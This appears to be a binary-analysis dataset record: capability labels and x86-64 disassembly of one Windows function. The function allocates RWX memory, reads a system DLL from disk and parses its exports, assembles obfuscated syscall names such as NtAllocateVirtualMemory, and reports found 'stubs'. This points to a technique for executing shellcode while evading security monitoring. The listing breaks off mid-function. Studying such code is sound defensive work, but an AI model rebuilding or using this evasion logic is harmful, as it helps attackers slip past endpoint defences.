Function at 0x14000408b
Capabilities:
Allocate or change rwx memory
Enumerate process modules
Enumerate processes
Execute shellcode via indirect call
Get file size
Read file on windows
Resolve function by parsing pe exports

Disassembly:
push rbp
push rsi
push rbx
mov eax, 0x5420
call fcn.1400163d0
sub rsp, rax
lea rbp, [rsp + 0x80]
call fcn.140015420
call fcn.140001617
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
call rax
mov dword [rbp + 0x5378], eax
mov eax, dword [rbp + 0x5378]
mov r8d, eax
mov edx, 0
mov ecx, 0x1fffff
mov rax, qword [sym.imp.KERNEL32.dll_OpenProcess]
call rax
mov qword [rbp + 0x5370], rax
mov rax, qword [rbp + 0x5370]
mov dword [rsp + 0x20], 0x40
mov r9d, 0x1000
mov r8d, 0x17
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
call rax
mov qword [rbp + 0x5368], rax
mov rax, qword [rbp + 0x5368]
add rax, 0x17
mov qword [rbp + 0x5360], rax
mov rax, qword [rbp + 0x5360]
add rax, 0x17
mov qword [rbp + 0x5358], rax
mov rax, qword [rbp + 0x5358]
add rax, 0x17
mov qword [rbp + 0x5350], rax
mov rax, qword [rbp + 0x5350]
add rax, 0x17
mov qword [rbp + 0x5348], rax
mov rax, qword [rbp + 0x5348]
add rax, 0x17
mov qword [rbp + 0x5340], rax
mov rax, qword [rbp + 0x5340]
add rax, 0x17
mov qword [rbp + 0x5338], rax
mov rax, qword [rbp + 0x5338]
add rax, 0x17
mov qword [rbp + 0x5330], rax
mov rax, qword [rbp + 0x5330]
add rax, 0x17
mov qword [rbp + 0x5328], rax
mov rax, qword [rbp + 0x5328]
add rax, 0x17
mov qword [rbp + 0x5320], rax
mov rax, qword [rbp + 0x5320]
add rax, 0x17
mov qword [rbp + 0x5318], rax
mov rax, qword [rbp + 0x5318]
add rax, 0x17
mov qword [rbp + 0x5310], rax
mov rax, qword [rbp + 0x5310]
add rax, 0x17
mov qword [rbp + 0x5308], rax
mov rax, qword [rbp + 0x5308]
add rax, 0x17
mov qword [rbp + 0x5300], rax
mov rax, qword [rbp + 0x5300]
add rax, 0x17
mov qword [rbp + 0x52f8], rax
mov rax, qword [rbp + 0x52f8]
add rax, 0x17
mov qword [rbp + 0x52f0], rax
mov rax, qword [rbp + 0x52f0]
add rax, 0x17
mov qword [rbp + 0x52e8], rax
mov rax, qword [rbp + 0x52e8]
add rax, 0x17
mov qword [rbp + 0x52e0], rax
mov dword [rbp + 0x24cc], 0
mov qword [rbp + 0x52d8], 0
mov dword [rbp + 0x52d4], 0
mov dword [rbp + 0x24c8], 0
mov qword [rbp + 0x52c8], 0
mov rax, qword [rbp + 0x5368]
mov qword [0x1400ef038], rax
lea rdx, [rbp + 0x24cc]
mov rax, qword [rbp + 0x5368]
mov r9, rdx
mov r8d, 0x40
mov edx, 0x17
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
mov rax, qword [rbp + 0x5360]
mov qword [0x1400ef040], rax
lea rdx, [rbp + 0x24cc]
mov rax, qword [rbp + 0x5360]
mov r9, rdx
mov r8d, 0x40
mov edx, 0x17
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
mov rax, qword [rbp + 0x5358]
mov qword [0x1400ef048], rax
lea rdx, [rbp + 0x24cc]
mov rax, qword [rbp + 0x5358]
mov r9, rdx
mov r8d, 0x40
mov edx, 0x17
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
mov rax, qword [rbp + 0x5350]
mov qword [0x1400ef050], rax
lea rdx, [rbp + 0x24cc]
mov rax, qword [rbp + 0x5350]
mov r9, rdx
mov r8d, 0x40
mov edx, 0x17
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
mov rax, qword [rbp + 0x5348]
mov qword [0x1400ef058], rax
lea rdx, [rbp + 0x24cc]
mov rax, qword [rbp + 0x5348]
mov r9, rdx
mov r8d, 0x40
mov edx, 0x17
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
mov rax, qword [rbp + 0x5340]
mov qword [0x1400ef060], rax
lea rdx, [rbp + 0x24cc]
mov rax, qword [rbp + 0x5340]
mov r9, rdx
mov r8d, 0x40
mov edx, 0x17
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
mov rax, qword [rbp + 0x5338]
mov qword [0x1400ef068], rax
lea rdx, [rbp + 0x24cc]
mov rax, qword [rbp + 0x5338]
mov r9, rdx
mov r8d, 0x40
mov edx, 0x17
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
mov rax, qword [rbp + 0x5330]
mov qword [0x1400ef070], rax
lea rdx, [rbp + 0x24cc]
mov rax, qword [rbp + 0x5330]
mov r9, rdx
mov r8d, 0x40
mov edx, 0x17
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
mov rax, qword [rbp + 0x5328]
mov qword [0x1400ef078], rax
lea rdx, [rbp + 0x24cc]
mov rax, qword [rbp + 0x5328]
mov r9, rdx
mov r8d, 0x40
mov edx, 0x17
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
mov rax, qword [rbp + 0x5320]
mov qword [0x1400ef080], rax
lea rdx, [rbp + 0x24cc]
mov rax, qword [rbp + 0x5320]
mov r9, rdx
mov r8d, 0x40
mov edx, 0x17
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
mov rax, qword [rbp + 0x5318]
mov qword [0x1400ef088], rax
lea rdx, [rbp + 0x24cc]
mov rax, qword [rbp + 0x5318]
mov r9, rdx
mov r8d, 0x40
mov edx, 0x17
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
mov rax, qword [rbp + 0x5310]
mov qword [0x1400ef090], rax
lea rdx, [rbp + 0x24cc]
mov rax, qword [rbp + 0x5310]
mov r9, rdx
mov r8d, 0x40
mov edx, 0x17
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
mov rax, qword [rbp + 0x5308]
mov qword [0x1400ef098], rax
lea rdx, [rbp + 0x24cc]
mov rax, qword [rbp + 0x5308]
mov r9, rdx
mov r8d, 0x40
mov edx, 0x17
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
mov rax, qword [rbp + 0x5300]
mov qword [0x1400ef0a0], rax
lea rdx, [rbp + 0x24cc]
mov rax, qword [rbp + 0x5300]
mov r9, rdx
mov r8d, 0x40
mov edx, 0x17
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
mov rax, qword [rbp + 0x52f8]
mov qword [0x1400ef0a8], rax
lea rdx, [rbp + 0x24cc]
mov rax, qword [rbp + 0x52f8]
mov r9, rdx
mov r8d, 0x40
mov edx, 0x17
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
mov rax, qword [rbp + 0x52f0]
mov qword [0x1400ef0b0], rax
lea rdx, [rbp + 0x24cc]
mov rax, qword [rbp + 0x52f0]
mov r9, rdx
mov r8d, 0x40
mov edx, 0x17
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
mov rax, qword [rbp + 0x52e8]
mov qword [0x1400ef0b8], rax
lea rdx, [rbp + 0x24cc]
mov rax, qword [rbp + 0x52e8]
mov r9, rdx
mov r8d, 0x40
mov edx, 0x17
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
mov rax, qword [rbp + 0x52e0]
mov qword [0x1400ef0c0], rax
lea rdx, [rbp + 0x24cc]
mov rax, qword [rbp + 0x52e0]
mov r9, rdx
mov r8d, 0x40
mov edx, 0x17
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], pe_nt_image_headers64
mov dword [rsp + 0x20], 3
mov r9d, 0
mov r8d, 1
mov edx, 0x80000000
lea rax, [0x1400c3548]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CreateFileA]
call rax
mov qword [rbp + 0x52d8], rax
mov rax, qword [rbp + 0x52d8]
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetFileSize]
call rax
mov dword [rbp + 0x52d4], eax
mov ebx, dword [rbp + 0x52d4]
mov rax, qword [sym.imp.KERNEL32.dll_GetProcessHeap]
call rax
mov r8, rbx
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_HeapAlloc]
call rax
mov qword [rbp + 0x52c8], rax
lea r8, [rbp + 0x24c8]
mov ecx, dword [rbp + 0x52d4]
mov rdx, qword [rbp + 0x52c8]
mov rax, qword [rbp + 0x52d8]
mov qword [rsp + 0x20], 0
mov r9, r8
mov r8d, ecx
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_ReadFile]
call rax
mov rax, qword [rbp + 0x52c8]
mov qword [rbp + 0x52c0], rax
mov rax, qword [rbp + 0x52c0]
mov eax, dword [rax + 0x3c]
movsxd rdx, eax
mov rax, qword [rbp + 0x52c8]
add rax, rdx
mov qword [rbp + 0x52b8], rax
mov rax, qword [rbp + 0x52b8]
mov eax, dword [rax + 0x88]
mov dword [rbp + 0x52b4], eax
mov rax, qword [rbp + 0x52b8]
movzx eax, word [rax + 0x14]
movzx edx, ax
mov rax, qword [rbp + 0x52b8]
add rax, rdx
add rax, 0x18
mov qword [rbp + 0x5398], rax
mov rax, qword [rbp + 0x5398]
mov qword [rbp + 0x52a8], rax
mov rax, qword [rbp + 0x5398]
mov qword [rbp + 0x5390], rax
mov dword [rbp + 0x538c], 0
jmp 0x1400047c9
mov rax, qword [rbp + 0x5398]
lea rdx, str..rdata
mov rcx, rax
call sub.msvcrt.dll_strcmp
test eax, eax
jne 0x1400047ba
mov rax, qword [rbp + 0x5398]
mov qword [rbp + 0x5390], rax
jmp 0x1400047df
add qword [rbp + 0x5398], 0x28
add dword [rbp + 0x538c], 1
mov rax, qword [rbp + 0x52b8]
movzx eax, word [rax + 6]
movzx eax, ax
cmp dword [rbp + 0x538c], eax
jl 0x140004790
mov edx, dword [rbp + 0x52b4]
mov rax, qword [rbp + 0x52c8]
lea rcx, [rdx + rax]
mov rax, qword [rbp + 0x5390]
mov rdx, rax
call fcn.1400014b0
mov qword [rbp + 0x52a0], rax
lea rax, [rbp + 0x279f]
mov rcx, rax
call fcn.140073640
lea rdx, [rbp + 0x279f]
lea rax, [rbp + 0x2770]
mov r8, rdx
lea rdx, str.NtAlocaeViruMmy
mov rcx, rax
call fcn.1400aafa0
lea rax, [rbp + 0x2750]
lea rdx, [rbp + 0x2770]
lea r8, [0x1400c356f]
mov rcx, rax
call fcn.1400bbb20
lea rax, [rbp + 0x2730]
lea rdx, [rbp + 0x2750]
lea r8, [0x1400c3571]
mov rcx, rax
call fcn.1400bbb20
lea rax, [rbp + 0x2710]
lea rdx, [rbp + 0x2730]
lea r8, [0x1400c3573]
mov rcx, rax
call fcn.1400bbb20
lea rax, [rbp + 0x26f0]
lea rdx, [rbp + 0x2710]
lea r8, [0x1400c3573]
mov rcx, rax
call fcn.1400bbb20
lea rax, [rbp + 0x26d0]
lea rdx, [rbp + 0x26f0]
lea r8, [0x1400c3575]
mov rcx, rax
call fcn.1400bbb20
lea rax, [rbp + 0x26b0]
lea rdx, [rbp + 0x26d0]
lea r8, [0x1400c3577]
mov rcx, rax
call fcn.1400bbb20
lea rax, [rbp + 0x2690]
lea rdx, [rbp + 0x26b0]
lea r8, [0x1400c3579]
mov rcx, rax
call fcn.1400bbb20
lea rax, [rbp + 0x2670]
lea rdx, [rbp + 0x2690]
lea r8, [0x1400c356f]
mov rcx, rax
call fcn.1400bbb20
lea rax, [rbp + 0x2650]
lea rdx, [rbp + 0x2670]
lea r8, [0x1400c357b]
mov rcx, rax
call fcn.1400bbb20
lea rax, [rbp + 0x2630]
lea rdx, [rbp + 0x2650]
lea r8, [0x1400c357d]
mov rcx, rax
call fcn.1400bbb20
lea rax, [rbp + 0x2610]
lea rdx, [rbp + 0x2630]
lea r8, [0x1400c357f]
mov rcx, rax
call fcn.1400bbb20
lea rax, [rbp + 0x25f0]
lea rdx, [rbp + 0x2610]
lea r8, [0x1400c3581]
mov rcx, rax
call fcn.1400bbb20
lea rax, [rbp + 0x25d0]
lea rdx, [rbp + 0x25f0]
lea r8, [0x1400c356f]
mov rcx, rax
call fcn.1400bbb20
lea rax, [rbp + 0x25b0]
lea rdx, [rbp + 0x25d0]
lea r8, [0x1400c3583]
mov rcx, rax
call fcn.1400bbb20
lea rax, [rbp + 0x2590]
lea rdx, [rbp + 0x25b0]
lea r8, [0x1400c3579]
mov rcx, rax
call fcn.1400bbb20
lea rax, [rbp + 0x2570]
lea rdx, [rbp + 0x2590]
lea r8, [0x1400c3573]
mov rcx, rax
call fcn.1400bbb20
lea rax, [rbp + 0x2550]
lea rdx, [rbp + 0x2570]
lea r8, [0x1400c3585]
mov rcx, rax
call fcn.1400bbb20
lea rax, [rbp + 0x2530]
lea rdx, [rbp + 0x2550]
lea r8, [0x1400c357b]
mov rcx, rax
call fcn.1400bbb20
lea rax, [rbp + 0x2510]
lea rdx, [rbp + 0x2530]
lea r8, [0x1400c3587]
mov rcx, rax
call fcn.1400bbb20
lea rax, [rbp + 0x24f0]
lea rdx, [rbp + 0x2510]
lea r8, [0x1400c3575]
mov rcx, rax
call fcn.1400bbb20
lea rax, [rbp + 0x24d0]
lea rdx, [rbp + 0x24f0]
lea r8, [0x1400c3581]
mov rcx, rax
call fcn.1400bbb20
lea rax, [rbp + 0x24a0]
lea rdx, [rbp + 0x24d0]
lea r8, [0x1400c3589]
mov rcx, rax
call fcn.1400bbb20
lea rax, [rbp + 0x24d0]
mov rcx, rax
call fcn.1400ab6c0
lea rax, [rbp + 0x24f0]
mov rcx, rax
call fcn.1400ab6c0
lea rax, [rbp + 0x2510]
mov rcx, rax
call fcn.1400ab6c0
lea rax, [rbp + 0x2530]
mov rcx, rax
call fcn.1400ab6c0
lea rax, [rbp + 0x2550]
mov rcx, rax
call fcn.1400ab6c0
lea rax, [rbp + 0x2570]
mov rcx, rax
call fcn.1400ab6c0
lea rax, [rbp + 0x2590]
mov rcx, rax
call fcn.1400ab6c0
lea rax, [rbp + 0x25b0]
mov rcx, rax
call fcn.1400ab6c0
lea rax, [rbp + 0x25d0]
mov rcx, rax
call fcn.1400ab6c0
lea rax, [rbp + 0x25f0]
mov rcx, rax
call fcn.1400ab6c0
lea rax, [rbp + 0x2610]
mov rcx, rax
call fcn.1400ab6c0
lea rax, [rbp + 0x2630]
mov rcx, rax
call fcn.1400ab6c0
lea rax, [rbp + 0x2650]
mov rcx, rax
call fcn.1400ab6c0
lea rax, [rbp + 0x2670]
mov rcx, rax
call fcn.1400ab6c0
lea rax, [rbp + 0x2690]
mov rcx, rax
call fcn.1400ab6c0
lea rax, [rbp + 0x26b0]
mov rcx, rax
call fcn.1400ab6c0
lea rax, [rbp + 0x26d0]
mov rcx, rax
call fcn.1400ab6c0
lea rax, [rbp + 0x26f0]
mov rcx, rax
call fcn.1400ab6c0
lea rax, [rbp + 0x2710]
mov rcx, rax
call fcn.1400ab6c0
lea rax, [rbp + 0x2730]
mov rcx, rax
call fcn.1400ab6c0
lea rax, [rbp + 0x2750]
mov rcx, rax
call fcn.1400ab6c0
lea rax, [rbp + 0x2770]
mov rcx, rax
call fcn.1400ab6c0
lea rax, [rbp + 0x279f]
mov rcx, rax
call fcn.140073670
lea rdx, [rbp + 0x24a0]
lea rax, [rbp + 0x27a0]
mov rcx, rax
call fcn.1400aab10
mov r9, qword [rbp + 0x52a8]
mov r8, qword [rbp + 0x52c8]
mov rdx, qword [rbp + 0x52a0]
lea rax, [rbp + 0x27a0]
mov rcx, qword [rbp + 0x5368]
mov qword [rsp + 0x28], rcx
mov rcx, qword [rbp + 0x5390]
mov qword [rsp + 0x20], rcx
mov rcx, rax
call fcn.1400014dd
mov dword [rbp + 0x529c], eax
lea rax, [rbp + 0x27a0]
mov rcx, rax
call fcn.1400ab6c0
cmp dword [rbp + 0x529c], 0
je 0x140004c85
lea rbx, [0x1400c358b]
jmp 0x140004c8c
lea rbx, [0x1400c3590]
lea rax, [rbp + 0x24a0]
mov rcx, rax
call fcn.140030e40
mov r8, rbx
mov rdx, rax
lea rax, str._s_Stub_Found:__s_n
mov rcx, rax
call fcn.140001450
lea rax, [rbp + 0x2a4f]
mov rcx, rax
call fcn.140073640
lea rdx, [rbp + 0x2a4f]
lea rax, [rbp + 0x2a20]
mov r8, rdx
lea rdx, str.NtAlocaeViruMmy
mov rcx, rax
call fcn.1400aafa0
lea rax, [rbp + 0x2a00]
lea rdx, [rbp + 0x2a20]
lea r8, [0x1400c356f]
mov rcx, rax
call fcn.1400bbb20
lea rax, [rbp + 0x29e0]
lea rdx, [rbp + 0x2a00]
lea r8, str.WPCThdExRsFSngObjQIfpGDw
mov rcx, rax
call fcn.1400bbb20
lea rax, [rbp + 0x29c0]
lea rdx, [rbp + 0x29e0]
lea r8, [0x1400c3581]
mov rcx, rax
call fcn.1400bbb20
lea rax, [rbp + 0x29a0]
lea rdx, [rbp + 0x29c0]
lea r8, [0x1400c357f]
mov rcx, rax
call fcn.1400bbb20
lea rax, [rbp + 0x2980]
lea rdx, [rbp + 0x29a0]
lea r8, [0x1400c356f]
mov rcx, rax
call fcn.1400bbb20
lea rax, [rbp + 0x2960]
lea rdx, [rbp + 0x2980]
lea r8, [0x1400c357b]
mov rcx, rax
call fcn.1400bbb20
lea rax, [rbp + 0x2940]
lea rdx, [rbp + 0x2960]
lea r8, [0x1400c357d]
mov rcx, rax
call fcn.1400bbb20
lea rax, [rbp + 0x2920]
lea rdx, [rbp + 0x2940]
lea r8, [0x1400c357f]
mov rcx, rax
call fcn.1400bbb20
lea rax, [rbp + 0x2900]
lea rdx, [rbp + 0x2920]
lea r8, [0x1400c3581]
mov rcx, rax
call fcn.1400bbb20
lea rax, [rbp + 0x28e0]
lea rdx, [rbp + 0x2900]
lea r8, [0x1400c356f]
mov rcx, rax
call fcn.1400bbb20
lea rax, [rbp + 0x28c0]
lea rdx, [rbp + 0x28e0]
lea r8, [0x1400c3583]
mov rcx, rax
call fcn.1400bbb20
lea rax, [rbp + 0x28a0]
lea rdx, [rbp + 0x28c0]
lea r8, [0x1400c3579]
mov rcx, rax
call fcn.1400bbb20
lea rax, [rbp + 0x2880]
lea rdx, [rbp + 0x28a0]
lea r8, [0x1400c3573]
mov rcx, rax
call fcn.1400bbb20
lea rax, [rbp + 0x2860]
lea rdx, [rbp + 0x2880]
lea r8, [0x1400c3585]
mov rcx, rax
call fcn.1400bbb20
lea rax, [rbp + 0x2840]
lea rdx, [rbp + 0x2860]
lea r8, [0x1400c357b]
mov rcx, rax
call fcn.1400bbb20
lea rax, [rbp + 0x2820]
lea rdx, [rbp + 0x2840]
lea r8, [0x1400c3587]
mov rcx, rax
call fcn.1400bbb20
lea rax, [rbp + 0x2800]
lea rdx, [rbp + 0x2820]
lea r8, [0x1400c3575]
mov rcx, rax
call fcn.1400bbb20
lea rax, [rbp + 0x27e0]
lea rdx, [rbp + 0x2800]
lea r8, [0x1400c3581]
mov rcx, rax
call fcn.1400bbb20
lea rax, [rbp + 0x27c0]
lea rdx, [rbp + 0x27e0]
lea r8, [0x1400c3589]
mov rcx, rax
call fcn.1400bbb20
lea rdx, [rbp + 0x27c0]
lea rax, [rbp + 0x24a0]
mov rcx, rax
call fcn.1400ab700
lea rax, [rbp + 0x27c0]
mov rcx, rax
call fcn.1400ab6c0
lea rax, [rbp + 0x27e0]
mov rcx, rax
call fcn.1400ab6c0
lea rax, [rbp + 0x2800]
mov rcx, rax
call fcn.1400ab6c0
lea rax, [rbp + 0x2820]
mov rcx, rax
call fcn.1400ab6c0
lea rax, [rbp + 0x2840]
mov rcx, rax
call fcn.1400ab6c0
lea rax, [rbp + 0x2860]
mov rcx, rax
call fcn.1400ab6c0
lea rax, [rbp + 0x2880]
mov rcx, rax
call fcn.1400ab6c0
lea rax, [rbp + 0x28a0]
mov rcx, rax
call fcn.1400ab6c0
lea rax, [rbp + 0x28c0]
mov rcx, rax
call fcn.1400ab6c0
lea rax, [rbp + 0x28e0]
mov rcx, rax
call fcn.1400ab6c0
lea rax, [rbp + 0x2900]
mov rcx, rax
call fcn.1400ab6c0
lea rax, [rbp + 0x2920]
mov rcx, rax
call fcn.1400ab6c0
lea rax, [rbp + 0x2940]
mov rcx, rax
call fcn.1400ab6c0
lea rax, [rbp + 0x2960]
mov rcx, rax
call fcn.1400ab6c0
lea rax, [rbp + 0x2980]
mov rcx, rax
call fcn.1400ab6c0
lea rax, [rbp + 0x29a0]
mov rcx, rax
call fcn.1400ab6c0
lea rax, [rbp + 0x29c0]
mov rcx, rax
call fcn.1400ab6c0
lea rax, [rbp + 0x29e0]
mov rcx, rax
call fcn.1400ab6c0
lea rax, [rbp + 0x2a00]
mov rcx, rax
call fcn.1400ab6c0
lea rax, [rbp + 0x2a20]
mov rcx, rax
call fcn.1400ab6c0
lea rax, [rbp + 0x2a4f]
mov rcx, rax
call fcn.140073670
lea rdx, [rbp + 0x24a0]
lea rax, [rbp + 0x2a50]
mov rcx, rax
call fcn.1400aab10
mov r9, qword [rbp + 0x52a8]
mov r8, qword [rbp + 0x52c8]
mov rdx, qword [rbp + 0x52a0]
lea rax, [rbp + 0x2a50]
mov rcx, qword [rbp + 0x5360]
mov qword [rsp + 0x28], rcx
mov rcx, qword [rbp + 0x5390]
mov qword [rsp + 0x20], rcx
mov rcx, rax
call fcn.1400014dd
mov dword [rbp + 0x529c], eax
lea rax, [rbp + 0x2a50]
mov rcx, rax
call fcn.1400ab6c0
cmp dword [rbp + 0x529c], 0
je 0x1400050d0
lea rbx, [0x1400c358b]
jmp 0x1400050d7
lea rbx, [0x1400c3590]
lea rax, [rbp + 0x24a0]
mov rcx, rax
call fcn.140030e40
mov r8, rbx
mov rdx, rax
lea rax, str._s_Stub_Found:__s_n
mov rcx, rax
call fcn.140001450
lea rax, [rbp + 0x2d3f]
mov rcx, rax
call fcn.140073640
lea rdx, [rbp + 0x2d3f]
lea rax, [rbp + 0x2d10]
mov r8, rdx
lea rdx, str.NtAlocaeViruMmy
mov rcx, rax
call fcn.1400aafa0
lea rax, [rbp + 0x2cf0]
lea rdx, [rbp + 0x2d10]
lea r8, [0x1400c356f]
mov rcx, rax
call fcn.1400bbb20
lea rax, [rbp + 0x2cd0]
lea rdx, [rbp + 0x2cf0]
lea r8, [0x1400c35ab]
mov rcx, rax
call fcn.1400bbb20
lea rax, [rbp + 0x2cb0]
lea rdx, [rbp + 0x2cd0]
lea r8, [0x1400c3581]
mov rcx, rax
call fcn.1400bbb20
lea rax, [rbp + 0x2c90]
lea rdx, [rbp + 0x2cb0]
lea r8, [0x1400c3575]
mov rcx, rax
call fcn.1400bbb20
lea rax, [rbp + 0x2c70]
lea rdx, [rbp + 0x2c90]
lea r8, [0x1400c356f]
mov rcx, rax
call fcn.1400bbb20
lea rax, [rbp + 0x2c50]
lea rdx, [rbp + 0x2c70]
lea r8, [0x1400c357b]
mov rcx, rax
call fcn.1400bbb20
lea rax, [rbp + 0x2c30]
lea rdx, [rbp + 0x2c50]
lea r8, [0x1400c3577]
mov rcx, rax
call fcn.1400bbb20
lea rax, [rbp + 0x2c10]
lea rdx, [rbp + 0x2c30]
lea r8, [0x1400c356f]
mov rcx, rax
call fcn.1400bbb20
lea rax, [rbp + 0x2bf0]
lea rdx, [rbp + 0x2c10]
lea r8, [0x1400c357d]
mov rcx, rax
call fcn.1400bbb20
lea rax, [rbp + 0x2bd0]
lea rdx, [rbp + 0x2bf0]
lea r8, [0x1400c357f]
mov rcx, rax
call fcn.1400bbb20
lea rax, [rbp + 0x2bb0]
lea rdx, [rbp + 0x2bd0]
lea r8, [0x1400c3581]
mov rcx, rax
call fcn.1400bbb20
lea rax, [rbp + 0x2b90]
lea rdx, [rbp + 0x2bb0]
lea r8, [0x1400c356f]
mov rcx, rax
call fcn.1400bbb20
lea rax, [rbp + 0x2b70]
lea rdx, [rbp + 0x2b90]
lea r8, [0x1400c3583]
mov rcx, rax
call fcn.1400bbb20
lea rax, [rbp + 0x2b50]
lea rdx, [rbp + 0x2b70]
lea r8, [0x1400c3579]
mov rcx, rax
call fcn.1400bbb20
lea rax, [rbp + 0x2b30]
lea rdx, [rbp + 0x2b50]
lea r8, [0x1400c3573]
mov rcx, rax
call fcn.1400bbb20
lea rax, [rbp + 0x2b10]
lea rdx, [rbp + 0x2b30]
lea r8, [0x1400c3585]
mov rcx, rax
call fcn.1400bbb20
lea rax, [rbp + 0x2af0]
lea rdx, [rbp + 0x2b10]
lea r8, [0x1400c357b]
mov rcx, rax
call fcn.1400bbb20
lea rax, [rbp + 0x2ad0]
lea rdx, [rbp + 0x2af0]
lea r8, [0x1400c3587]
mov rcx, rax
call fcn.1400bbb20
lea rax, [rbp + 0x2ab0]
lea rdx, [rbp + 0x2ad0]
lea r8, [0x1400c3575]
mov rcx, rax
call fcn.1400bbb20
lea rax, [rbp + 0x2a90]
lea rdx, [rbp + 0x2ab0]
lea r8, [0x1400c3581]
mov rcx, rax
call fcn.1400bbb20
lea rax, [rbp + 0x2a70]
lea rdx, [rbp + 0x2a90]
lea r8, [0x1400c3589]
mov rcx, rax
call fcn.1400bbb20
lea rdx, [rbp + 0x2a70]
lea rax, [rbp + 0x24a0]
mov rcx, rax
call fcn.1400ab700
lea rax, [rbp + 0x2a70]
mov rcx, rax
call fcn.1400ab6c0
lea rax, [rbp + 0x2a90]
mov rcx, rax
call fcn.1400ab6c0
lea rax, [rbp + 0x2ab0]
mov rcx, rax
call fcn.1400ab6c0
lea rax, [rbp + 0x2ad0]
mov rcx, rax
call fcn.1400ab6c0
lea rax, [rbp + 0x2af0]
mov rcx, rax
call fcn.1400ab6c0
lea rax, [rbp + 0x2b10]
mov rcx, rax
call fcn.1400ab6c0
lea rax, [rbp + 0x2b30]
mov rcx, rax
call fcn.1400ab6c0
lea rax, [rbp + 0x2b50]
mov rcx, rax
call fcn.1400ab6c0
lea rax, [rbp + 0x2b70]
mov rcx, rax
call fcn.1400ab6c0
lea rax, [rbp + 0x2b90]
mov rcx, rax
call fcn.1400ab6c0
lea rax, [rbp + 0x2bb0]
mov rcx, rax
call fcn.1400ab6c0
lea rax, [rbp + 0x2bd0]
mov rcx, rax
call fcn.1400ab6c0
lea rax, [rbp + 0x2bf0]
mov rcx, rax
call fcn.1400ab6c0
lea rax, [rbp + 0x2c10]
mov rcx, rax
call fcn.1400ab6c0
lea rax, [rbp + 0x2c30]
mov rcx, rax
call fcn.1400ab6c0
lea rax, [rbp + 0x2c50]
mov rcx, rax
call fcn.1400ab6c0
lea rax, [rbp + 0x2c70]
mov rcx, rax
call fcn.1400ab6c0
lea rax, [rbp + 0x2c90]
mov rcx, rax
call fcn.1400ab6c0
lea rax, [rbp + 0x2cb0]
mov rcx, rax
call fcn.1400ab6c0
lea rax, [rbp + 0x2cd0]
mov rcx, rax
call fcn.1400ab6c0
lea rax, [rbp + 0x2cf0]
mov rcx, rax
call fcn.1400ab6c0
lea rax, [rbp + 0x2d10]
mov rcx, rax
call fcn.1400ab6c0
lea rax, [rbp + 0x2d3f]
mov rcx, rax
call fcn.140073670
lea rdx, [rbp + 0x24a0]
lea rax, [rbp + 0x2d40]
mov rcx, rax
call fcn.1400aab10
mov r9, qword [rbp + 0x52a8]
mov r8, qword [rbp + 0x52c8]
mov rdx, qword [rbp + 0x52a0]
lea rax, [rbp + 0x2d40]
mov rcx, qword [rbp + 0x5358]
mov qword [rsp + 0x28], rcx
mov rcx, qword [rbp + 0x5390]
mov qword [rsp + 0x20], rcx
mov rcx, rax
call fcn.1400014dd
mov dword [rbp + 0x529c], eax
lea rax, [rbp + 0x2d40]
mov rcx, rax
call fcn.1400ab6c0
cmp dword [rbp + 0x529c], 0
je 0x140005573
lea rbx, [0x1400c358b]
jmp 0x14000557a
lea rbx, [0x1400c3590]
lea rax, [rbp + 0x24a0]
mov rcx, rax
call fcn.140030e40
mov r8, rbx
mov rdx, rax
lea rax, str._s_Stub_Found:__s_n
mov rcx, rax
call fcn.140001450
lea rax, [rbp + 0x2f6f]
mov rcx, rax
call fcn.140073640
lea rdx, [rbp + 0x2f6f]
lea rax, [rbp + 0x2f40]
mov r8, rdx
lea rdx, str.NtAlocaeViruMmy
mov rcx, rax
call fcn.1400aafa0
lea rax, [rbp + 0x2f20]
lea rdx, [rbp + 0x2f40]
lea r8, [0x1400c356f]
mov rcx, rax
call fcn.1400bbb20
lea rax, [rbp + 0x2f00]
lea rdx, [rbp + 0x2f20]
lea r8, [0x1400c35ad]
mov rcx, rax
call fcn.1400bbb20
lea rax, [rbp + 0x2ee0]
lea rdx, [rbp + 0x2f00]
lea r8, [0x1400c3581]
mov rcx, rax
call fcn.1400bbb20
lea rax, [rbp + 0x2ec0]
lea rdx, [rbp + 0x2ee0]
lea r8, [0x1400c357b]
mov rcx, rax
call fcn.1400bbb20
lea rax, [rbp + 0x2ea0]
lea rdx, [rbp + 0x2ec0]
lea r8, [0x1400c3579]
mov rcx, rax
call fcn.1400bbb20
lea rax, [rbp + 0x2e80]
lea rdx, [rbp + 0x2ea0]
lea r8, [0x1400c356f]
mov rcx, rax
call fcn.1400bbb20
lea rax, [rbp + 0x2e60]
lea rdx, [rbp + 0x2e80]
lea r8, [0x1400c357b]
